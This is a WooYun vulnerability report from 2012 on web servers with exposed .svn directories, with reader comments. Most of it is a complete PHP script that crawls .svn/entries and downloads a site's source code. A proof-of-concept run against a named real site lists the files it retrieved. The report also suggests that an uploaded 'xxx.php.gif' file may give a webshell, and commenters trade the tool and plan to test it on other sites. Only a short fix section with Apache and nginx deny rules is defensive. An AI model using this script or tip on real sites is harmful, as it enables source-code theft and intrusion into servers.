.svn目录未设权限限制的漏洞利用总结

编号5539
Urlhttp://www.wooyun.org/bug.php?action=view&id=5539
漏洞状态未联系到厂商或者厂商积极忽略
漏洞标题.svn目录未设权限限制的漏洞利用总结
漏洞类型系统/服务运维配置不当
厂商svn
白帽子小雨
提交日期2012-03-25 12:31:00
公开日期2012-03-25 12:31:00
修复时间(not set)
确认时间0000-00-00 00:00:00
Confirm Spend-1
漏洞标签svn 默认配置不当 源代码泄漏
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank8
漏洞简介
我是来刷分的。
漏洞细节

有的站点使用.svn来做生产环境版本控制,但是.svn目录没有做访问权限限制,可以通过.svn/entries来遍历文件和目录列表。 为了节约体力,我写了一个php脚本(http://rains.im/?q=node/18)来做这件事,如果*.php.svn-base不被当.php来执行,那么恭喜你,svn中的.php程序源码随你下了,分析源码可能能帮助你发现更多漏洞。 如果.php.svn-base被当成php文件来执行了,可能看到php错误信息(看到真实路径)或内容为空白,那么,同样恭喜你,这个站点有扩展名识别问题,找地方上传xxx.php.gif也许就可以直接得到webshell了。

POC

/usr/local/bin/svn_clone -cvvvu http://www.2.newsmth.net
*** 下载 bbspsttmpl.php 文件
写入 bbspsttmpl.php 到 /data/src/www.2.newsmth.net (4190 bytes)
*** 下载 default-sf.css 文件
写入 default-sf.css 到 /data/src/www.2.newsmth.net (9700 bytes)
*** 下载 www2-admin.php 文件
写入 www2-admin.php 到 /data/src/www.2.newsmth.net (1819 bytes)
*** 下载 bbspst.php 文件
写入 bbspst.php 到 /data/src/www.2.newsmth.net (2716 bytes)

#!/usr/bin/php -q
<?php
/**
* 本脚本用于下载.svn目录未作权限限制的并且svn版本小于1.7的网站源码.
* 请用php5.3+来运行本脚本.想支持更低版本,请自行修改源码.不必通知我.
* 作者:小雨@乌云
* http://蛋疼.com
*/
#错误报告级别,只报告错误
error_reporting(E_ERROR);
#要显示错误
ini_set('display_errors','On');
define('VERSION', '1.0');
ini_set('user_agent','svn_clone(svn_clone v'.VERSION.'; by 小雨@乌云 email:[email protected]; http://蛋疼.com)');
#缓存目录,最好放在tmpfs上,我没做过缓存期的设置,所以想真正重新抓一次就必须手工删缓存目录
define('CACHE_DIR', '/tmp/cache');
#代码要保存到的路径,不同域名会自动分目录存放的
define('DATA_DIR', '/data/src');
#调试信息级别
define('NONE', 0);#无条件报告
define('ERROR', 1);#错误
define('WARNING', 2);#警告
define('ALL', 3);#全部
define('EGGACHE', 4);#蛋疼
#获取参数
$opts = getopt('u:chv',array('url:','color','help','verbose'));
#获取传入的URL地址
$url = $opts['url']?:($opts['u']?:null);
#是否显示帮助
$help = isset($opts['h'])+isset($opts['help']);
#是否使用颜色
define('USECOLOR', isset($opts['c'])+isset($opts['color']));
#调试信息级别,v越多越详细,最多接受3个v, 函数内用,懒得写global,定义成常量吧.
define('VERBOSE', count($opts['v'])+count($opts['verbose']));
#本程序的名字,额,我不知道这个写法是否兼容别的shell.反正bash下用它判断是没错的
$cmd = basename($_SERVER['_'])=='php'?'php '.$_SERVER['PHP_SELF']:$_SERVER['_'];
if($help or !$url) {
die("Usage:\t$cmd option [url]\n".
"\t-u --url\turl\t您想要通过svn克隆的网站url\n".
"\t-c --color\t\t使用控制台色彩输出\n".
"\t-v --verbose\t\t打印更多的详细信息,v越多越详细\n".
"\t-h --help\t\t本帮助信息\n".
"Examples:\n".
"\t$cmd -u http://localhost\n".
"\t$cmd -u http://localhost -cvv\n".
"\t$cmd -vu http://localhost\n".
"\t$cmd -cvvu http://localhost\n".
"\t$cmd --url http://localhost --color --verbose --verbose --verbose 有人勤奋到使用这种格式咩?! Orz.\n"
);
}
#我真是蛋疼...写这行干啥呢...
debug("蛋疼是一种病,要淡定,不要蛋疼...\n", EGGACHE);
svn_clone($url);
#本程序的主函数
function svn_clone($url) {
#去除多余的url结尾多余的斜杠
$url=trim($url,'/');
$entries_url = $url.'/.svn/entries';
$content = get($entries_url);
if(!$content) {
return debug("$url 不是一个合法的svn工作副本!\n", ERROR);
} elseif(strlen($content)<10) {
return debug("某个东西太短了,需要蓝色小药丸么?\n", ERROR);
}
#匹配出entries中的文件和目录名
preg_match_all('/\f\n([^\n]+?)\s(\w+)\s/s', $content, $m) or debug("$entries_url 不包含文件或子目录\n", WARNING);
$files = array_combine($m[1], $m[2]);
foreach($files as $file=>$type) {
if($type=='dir') {
debug(">>> 进入 $file 目录\n", ALL);
svn_clone($url.'/'.$file);
debug("<<< 退出 $file 目录\n", ALL);
} elseif($type=='file') {
debug("*** 下载 $file 文件\n", ALL);
fetch($url.'/.svn/text-base/'.$file.'.svn-base');
}
}
}
#抓取并保存
function fetch($text_base){
put($text_base, get($text_base));
}
#带缓存的抓取
function get($url) {
$file = CACHE_DIR.'/'.chunk_split(substr(md5($url),0,6),2,'/').urlencode($url);
$dir = dirname($file);
if(!is_dir($dir)) {
mkdir($dir,0777,true);
}
if(!file_exists($file)) {
$content = file_get_contents($url) or debug("读取 {$url} 内容为空\n", WARNING);
if($content)
{
file_put_contents($file, $content) or debug("写入 {$file} 内容为空\n", WARNING);
}
} else {
$content = file_get_contents($file) or debug("读缓存 {$file} 内容为空\n", WARNING);
}
return $content;
}
#保存到数据目录
function put($url, $content='')
{
$file = DATA_DIR.substr(strchr($url,'://'),2);
$dir = dirname(dirname(dirname($file)));
$file = basename($file,'.svn-base');
#看看你那什么有多长?
$len = strlen($content);
if(!is_dir($dir)) {
mkdir($dir,0777,true);
}
debug("写入 $file 到 $dir ($len bytes)\n", ALL);
file_put_contents($dir.'/'.$file, $content) or debug("写入 {$file} 内容为空\n", WARNING);
}
#打印调试信息
function debug($msg, $level=0) {
#颜色定义 0:灰, 1:红, 2:绿, 3:黄, 4:蓝, 5:粉, 6:青, 7:白
static $colors = array(NONE=>0, ERROR=>1, WARNING=>2, ALL=>3, EGGACHE=>4);
VERBOSE>=$level && (USECOLOR?printf("\033[1;3{$colors[$level]}m$msg\033[m", $color, $msg):print $msg);
}

修复方案

svn更新至1.7+ .svn/entries目录就不包含文件目录列表了
apache:
<Directory ~ "\.svn">
Order allow,deny
Deny from all
</Directory>
nginx:
location ~ /.svn/ {
deny all;
}

状态信息 2012-03-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-25: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复(not set)
回应信息未能联系到厂商或者厂商积极拒绝漏洞Rank:8 (WooYun评价)
Showing 1-10 of 10 items.
评论内容评论人点赞数评论时间

@小雨 有个缺陷,如果地址中有端口,就没法下载了

小川02015-03-18 14:56:00

mark

小贱人02014-04-23 14:26:00

https://github.com/rains31/svncloner-in-php 我把它放github上了

小雨02012-09-12 16:36:00

@_Evil php.net的网站源码是开源的。。。你搞它还不如直接去rsync

小雨02012-03-28 12:08:00

thx php.net 某分站的.svn泄露周末测试去

_Evil02012-03-28 11:52:00

@_Evil http://rains.im/node/18

小雨02012-03-28 11:47:00

[email protected] 求exp

_Evil02012-03-28 11:42:00

@xsser 我的svn_clone新版本出炉,增加了蓝色小药丸,可以打劫1.7+的svn了

小雨02012-03-28 10:54:00

@_Evil 额,不是从别的网上找到的,是使用svn时看到工作副本的.svn里有程序代码,然后自己写了个脚本利用这个漏洞来下载.svn目录里的text-base代码。

小雨02012-03-28 09:50:00

小雨同学你这个方法是国内还是国外找到的求学习网站和地址 thank

_Evil02012-03-27 00:38:00